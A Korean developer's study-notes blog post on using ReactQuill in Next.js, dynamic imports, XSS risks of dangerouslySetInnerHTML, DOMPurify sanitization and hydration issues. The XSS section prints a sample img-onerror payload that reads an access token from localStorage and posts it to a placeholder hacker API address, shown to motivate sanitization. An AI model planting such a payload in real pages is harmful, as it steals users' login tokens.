[TIL] 22.12.07 - Web-Editor (Reactquill), XSS, Dompurify, Hydration-Issue

nana·2022년 12월 7일
0

TIL

목록 보기
43/50
post-thumbnail

Web-Editor


ReactQuill

react-quill 라이브러리를 사용하면 input이나 textarea태그 대신 웹에디터를 사용하여 내용텍스트를 꾸밀 수 있다.

📌 react-quill 설치
yarn add react-quill

import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow.css';

ReactQuill을 import해준 후, <ReactQuill /> 로 웹 에디터를 사용할 수 있다.

ReactQuill 에서 사용될 스타일 CSS 파일까지 함께 호출해서 스타일도 함께 적용해준다.


ReactQuill의 pre-rendering 문제 - dynamic import

react-quill을 사용하면 pre-rendering으로 인해 document is not defined 오류가 발생한다.

📌 Next.js는 기본적으로 서버사이드 렌더링을 지원하는데, 서버에서 페이지를 미리 렌더링 하는 단계에서는 브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.
window 또는 document object 를 선언하기 전 이기 때문에 document가 선언되지 않았다는 에러가 발생하는 것이다.


document 가 선언된 시점 이후에 React-Quill을 import 해야 하는데, 이때 dynamic import를 사용하면 해결할 수 있다.

import dynamic from "next/dynamic"

next에서 제공하는 dynamic import이다.

dynamic import는 document 에 대한 정보가 선언된 후의 시점으로 옮겨서 호출을 할 수 있게 도와준다.

즉, 빌드되는 시점에서 호출하지 않고 런타임 시점에서 모듈을 호출 해서 이미 documnet 가 선언되어 있는 시점의 환경을 제공해줄 수 있다.

  • ssr: false
    -> 프론트엔드 서버사이드에서는 import하지 않고, 브라우저에서만 import하도록 해준다.

  • 버튼 클릭시 필요한 modal
    -> 클릭하지 않는데 굳이 antd에서 modal을 다운로드 받아와야 할까??
    -> dynamic import로 필요할 때 import가 가능하다.
    -> 이러한 과정을 code-splitting (코드스플릿팅) 이라 한다.

  • event.preventDefault()
    -> 클릭 시 주소를 이동하려는 기본값이 설정되어 있으므로 이를 방지해준다.

  • ReactQuill에서 이미 onChange기능이 존재하므로, useForm에서 제공하는 setValue 로 값을 설정해준다.

  • trigger 는 setValue 사용시 함께 사용해주어야 한다. setValue한 값을 에러 검증해달라고 요청하는 기능이다.


dangerouslySetInnerHTML

게시글 등록 후, 이동해서 보여주는 상세 페이지

웹 에디터로 작성한 내용은 html태그가 적용된 내용이 아니라, 태그와 함께 내용이나타나게 된다.

  • dangerouslySetInnerHTML : html태그를 적용시킨 텍스트를 화면에 보여준다.

  • dangerouslySetInnerHTML를 사용할 경우, script태그가 있으면 해킹의 위험성이 존재한다.

cross-Site-Script(XSS)


script 삽입 공격 예시

img태그에 onerror라는 속성을 더해, 해당 태그를 dangerouslySetInnerHTML 속성을 이용해

불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있다.

onerror는 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소이다. 일반적으로는 대체 이미지 경로를 입력한다.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 된다.

예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에

dangerouslySetInnerHTML을 이용할 경우, 사용자의 민감 정보가 탈취당할 위험에 노출되어 있다고 볼 수 있다.


예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript와

HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을

크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 한다.

이러한 스크립트 삽입 공격에 대응하는 방법으로 Dompurify라는 라이브러리가 존재한다.


DOMPurify

Dompurify는 위의 예시와 같은 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리이다.

📌 Dompurify 설치
yarn add dompurify
yarn add --dev @types/dompurify

  • Dompurify.sanitize() 를 적용해준다.
  • 이때, Dompurify도 pre-rendering 오류가 발생하므로, typeof window !== "undefined" 조건을 추가하여 해결해준다.

Hydration-Issue


하이드레이션에서 CSS문제 발생

  • typeof window !== "undefined" 이기 때문에 css가 적용이 안된다.

  • 삼항연산자를 사용하여 window가 아닐 때, 빈 div 태그에 css를 적용해준다.

Hydration-Issue 발생 이유

Next.js는 위와 같은 과정을 거쳐 페이지를 그리게 된다.

이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에, 프론트엔드 서버에서 pre-rendering된 결과물브라우저에서 그려진 결과물의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용된다.

그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어주어야 한다.


react 렌더링


react는 실제로 주소가 존재하지 않는다.

어떤 주소로 접속하던 상관없이 모든 페이지의 html, css, js를 다운로드 받고, 브라우저에서 가짜 주소를 만든다.

따라서 첫 페이지 렌더링이 느리다. (처음 접속이 느리다.)

그렇다면, 어떻게 하면 처음 접속을 빠르게 할 수 있을까??

  • 배포할 때 build를 하게되면, 모든 페이지를 미리 그린(모든 페이지의 프리렌더링된 html파일들이 존재하는) .next폴더가 생성된다.

  • .next폴더를 먼저 보여주고, process.browser가 존재하는 부분만 hydration이 적용되어 나중에 나타나게 할 수 있으므로 첫 페이지 렌더링을 빠르게 할 수 있다.

profile
프론트엔드 개발자 도전기

0개의 댓글